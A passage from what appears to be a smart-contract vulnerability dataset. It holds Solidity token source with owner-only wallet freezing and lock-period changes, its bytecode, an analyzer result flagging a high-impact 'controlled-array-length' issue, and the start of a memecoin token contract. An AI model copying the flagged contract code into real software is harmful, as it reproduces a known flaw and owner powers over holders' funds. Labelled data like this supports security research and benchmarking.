transferResult = _transferFrom(_from, _to, _value);
if (transferResult == true) {
unlockQuantity[_from] = unlockQuantity[_from].sub(_value);
unlockQuantity[_to] = unlockQuantity[_to].add(_value);
}
} else {
for (uint256 i = 0; i < tokenLockInfo[_from].length; i++) {
lockQuantity = tokenLockInfo[_from][i].lockQuantity;
lockPeriod = tokenLockInfo[_from][i].lockPeriod;
if (lockPeriod <= now && lockQuantity != 0) {
unlockQuantity[_from] = unlockQuantity[_from].add(
lockQuantity
);
tokenLockInfo[_from][i].lockQuantity = 0;
lockQuantity = tokenLockInfo[_from][i].lockQuantity;
}
lockTotalQuantity = lockTotalQuantity.add(lockQuantity);
}
if (lockTotalQuantity == 0) lockStatus[_from] = false;
require(_value <= unlockQuantity[_from]);
transferResult = _transferFrom(_from, _to, _value);
if (transferResult == true) {
unlockQuantity[_from] = unlockQuantity[_from].sub(_value);
unlockQuantity[_to] = unlockQuantity[_to].add(_value);
}
}
return transferResult;
}
function transferAndLock(
address _to,
uint256 _value,
uint256 _lockPeriod
) public onlyOwner {
bool transferResult;
require(FreezedWallet[_to] == false);
transferResult = _transfer(msg.sender, _to, _value);
if (transferResult == true) {
lockStatus[_to] = true;
tokenLockInfo[_to].push(
lockInfo(_value, now + _lockPeriod * 1 days)
);
unlockQuantity[msg.sender] = unlockQuantity[msg.sender].sub(_value);
}
}
function changeLockPeriod(
address _owner,
uint256 _index,
uint256 _newLockPeriod
) public onlyOwner {
require(_index < tokenLockInfo[_owner].length);
tokenLockInfo[_owner][_index].lockPeriod =
now +
_newLockPeriod *
1 days;
}
function freezingWallet(address _owner) public onlyOwner {
FreezedWallet[_owner] = true;
}
function unfreezingWallet(address _owner) public onlyOwner {
FreezedWallet[_owner] = false;
}
function burn(uint256 _amount) public onlyOwner {
_burn(msg.sender, _amount);
unlockQuantity[msg.sender] = unlockQuantity[msg.sender].sub(_amount);
}
function getNowTime() public view returns (uint256 res) {
return now;
}
function getLockInfo(address _owner, uint256 _index)
public
view
returns (uint256, uint256)
{
return (
tokenLockInfo[_owner][_index].lockQuantity,
tokenLockInfo[_owner][_index].lockPeriod
);
}
function getUnlockQuantity(address _owner)
public
view
returns (uint256 res)
{
return unlockQuantity[_owner];
}
function getLockStatus(address _owner) public view returns (bool res) {
return lockStatus[_owner];
}
function getLockCount(address _owner) public view returns (uint256 res) {
return tokenLockInfo[_owner].length;
}
function getFreezingInfo(address _owner) public view returns (bool res) {
return FreezedWallet[_owner];
}
}
|
0x60806040526004361061018b576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610190578063095ea7b3146102205780630f36f6911461028557806315497d2c146102e057806315b9672c1461033b57806318160ddd146103a357806323b872dd146103ce57806323c1ee43146104535780632839e16a146104aa578063313ce56714610521578063324536eb1461054c57806342966c68146105775780635a3dfb89146105a457806366188463146105e75780636b3058081461064c5780636ca34ea2146106a757806370a08231146106fe578063715018a61461075557806384d5d9441461076c5780638da5cb5b146107c357806395d89b411461081a5780639b819d38146108aa578063a6b3caec146108d5578063a9059cbb1461092c578063cffa260314610991578063d4978d56146109e8578063d72eec7514610a2b578063d73dd62314610a82578063dd62ed3e14610ae7578063ec08b24614610b5e578063f2fde38b14610bc6575b600080fd5b34801561019c57600080fd5b506101a5610c09565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101e55780820151818401526020810190506101ca565b50505050905090810190601f1680156102125780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561022c57600080fd5b5061026b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ca7565b604051808215151515815260200191505060405180910390f35b34801561029157600080fd5b506102c6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d99565b604051808215151515815260200191505060405180910390f35b3480156102ec57600080fd5b50610321600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610def565b604051808215151515815260200191505060405180910390f35b34801561034757600080fd5b50610386600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e0f565b604051808381526020018281526020019250505060405180910390f35b3480156103af57600080fd5b506103b8610ed9565b6040518082815260200191505060405180910390f35b3480156103da57600080fd5b50610439600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ee3565b604051808215151515815260200191505060405180910390f35b34801561045f57600080fd5b50610494600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115f2565b6040518082815260200191505060405180910390f35b3480156104b657600080fd5b5061050b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061163e565b6040518082815260200191505060405180910390f35b34801561052d57600080fd5b50610536611663565b6040518082815260200191505060405180910390f35b34801561055857600080fd5b50610561611669565b6040518082815260200191505060405180910390f35b34801561058357600080fd5b506105a26004803603810190808035906020019092919050505061166f565b005b3480156105b057600080fd5b506105e5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061176d565b005b3480156105f357600080fd5b50610632600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611824565b604051808215151515815260200191505060405180910390f35b34801561065857600080fd5b5061068d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ab6565b604051808215151515815260200191505060405180910390f35b3480156106b357600080fd5b506106e8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b0c565b6040518082815260200191505060405180910390f35b34801561070a57600080fd5b5061073f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b24565b6040518082815260200191505060405180910390f35b34801561076157600080fd5b5061076a611b6c565b005b34801561077857600080fd5b506107c1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190505050611c71565b005b3480156107cf57600080fd5b506107d8611ed9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561082657600080fd5b5061082f611eff565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561086f578082015181840152602081019050610854565b50505050905090810190601f16801561089c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156108b657600080fd5b506108bf611f9d565b6040518082815260200191505060405180910390f35b3480156108e157600080fd5b50610916600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611fa5565b6040518082815260200191505060405180910390f35b34801561093857600080fd5b50610977600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611fee565b604051808215151515815260200191505060405180910390f35b34801561099d57600080fd5b506109e6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291905050506126fc565b005b3480156109f457600080fd5b50610a29600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612816565b005b348015610a3757600080fd5b50610a6c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506128cd565b6040518082815260200191505060405180910390f35b348015610a8e57600080fd5b50610acd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506128e5565b604051808215151515815260200191505060405180910390f35b348015610af357600080fd5b50610b48600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612ae1565b6040518082815260200191505060405180910390f35b348015610b6a57600080fd5b50610ba9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612b68565b604051808381526020018281526020019250505060405180910390f35b348015610bd257600080fd5b50610c07600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612ba8565b005b60048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c9f5780601f10610c7457610100808354040283529160200191610c9f565b820191906000526020600020905b815481529060010190602001808311610c8257829003601f168201915b505050505081565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60096020528060005260406000206000915054906101000a900460ff1681565b600080600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002083815481101515610e5e57fe5b906000526020600020906002020160000154600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002084815481101515610ebc57fe5b906000526020600020906002020160010154915091509250929050565b6000600254905090565b60008060008060008060001515600a60008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141515610f4b57600080fd5b60001515600a60008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141515610faa57600080fd5b60001515600960008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561114d5761100e898989612c10565b94506001151585151514156111485761106f87600860008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612fcb90919063ffffffff16565b600860008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061110487600860008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612fe490919063ffffffff16565b600860008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6115e3565b600090505b600760008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490508110156113ed57600760008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020818154811015156111e857fe5b9060005260206000209060020201600001549350600760008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208181548110151561124857fe5b906000526020600020906002020160010154915042821115801561126d575060008414155b156113cb576112c484600860008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612fe490919063ffffffff16565b600860008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208281548110151561135557fe5b906000526020600020906002020160000181905550600760008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020818154811015156113b657fe5b90600052602060002090600202016000015493505b6113de8484612fe490919063ffffffff16565b92508080600101915050611152565b600083141561144f576000600960008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600860008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054871115151561149d57600080fd5b6114a8898989612c10565b94506001151585151514156115e25761150987600860008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612fcb90919063ffffffff16565b600860008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061159e87600860008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612fe490919063ffffffff16565b600860008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b84955050505050509392505050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490509050919050565b6001602052816000526040600020602052806000526040600020600091509150505481565b60065481565b60025481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156116cb57600080fd5b6116d53382613000565b61172781600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612fcb90919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156117c957600080fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600080600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083101515611936576000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119ca565b6119498382612fcb90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60006020528060005260406000206000915090505481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611bc857600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ccf57600080fd5b60001515600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141515611d2e57600080fd5b611d3933858561318b565b9050600115158115151415611ed3576001600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060408051908101604052808581526020016201518085024201815250908060018154018082558091505090600182039060005260206000209060020201600090919290919091506000820151816000015560208201518160010155505050611e8f83600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612fcb90919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b50505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611f955780601f10611f6a57610100808354040283529160200191611f95565b820191906000526020600020905b815481529060010190602001808311611f7857829003601f168201915b505050505081565b600042905090565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060008060008060001515600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561205657600080fd5b60001515600a60008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415156120b557600080fd5b60001515600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156122585761211933898961318b565b94506001151585151514156122535761217a87600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612fcb90919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061220f87600860008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612fe490919063ffffffff16565b600860008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6126ee565b600090505b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490508110156124f857600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020818154811015156122f357fe5b9060005260206000209060020201600001549350600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208181548110151561235357fe5b9060005260206000209060020201600101549150428211158015612378575060008414155b156124d6576123cf84600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612fe490919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208281548110151561246057fe5b906000526020600020906002020160000181905550600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020818154811015156124c157fe5b90600052602060002090600202016000015493505b6124e98484612fe490919063ffffffff16565b9250808060010191505061225d565b600083141561255a576000600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205487111515156125a857600080fd5b6125b333898961318b565b94506001151585151514156126ed5761261487600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612fcb90919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126a987600860008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612fe490919063ffffffff16565b600860008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b849550505050505092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561275857600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050821015156127a857600080fd5b6201518081024201600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020838154811015156127fc57fe5b906000526020600020906002020160010181905550505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561287257600080fd5b6001600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60086020528060005260406000206000915090505481565b600061297682600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612fe490919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600760205281600052604060002081815481101515612b8357fe5b9060005260206000209060020201600091509150508060000154908060010154905082565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612c0457600080fd5b612c0d816133ac565b50565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515612c5f57600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515612cea57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515612d2657600080fd5b612d77826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612fcb90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e0a826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612fe490919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612edb82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612fcb90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6000828211151515612fd957fe5b818303905092915050565b60008183019050828110151515612ff757fe5b80905092915050565b60008273ffffffffffffffffffffffffffffffffffffffff161415151561302657600080fd5b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115151561307357600080fd5b61308881600254612fcb90919063ffffffff16565b6002819055506130df816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612fcb90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156131da57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561321657600080fd5b613267826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612fcb90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506132fa826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612fe490919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156133e857600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a72305820f7f3c55a9f1727734928f51043b892a9aa1e95fba4050b24ca96557089c9224c0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 9,073 |
0xcb93a7f6cf8881a641ebd477d2fd3d58ef1d3f6b
|
/*
Rilakkinu (RILAKKINU)
Rilakkinu is wise, totally stress-free and does things at his own pace. He wants to build a community where everyone feels relaxed and happy - a chill community thrives, and a thriving community token can easily moon.
Official Telegram:
https://t.me/Rilakkinu
Official Twitter:
https://twitter.com/Rilakkinu
Website:
https://www.rilakkinu.com
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
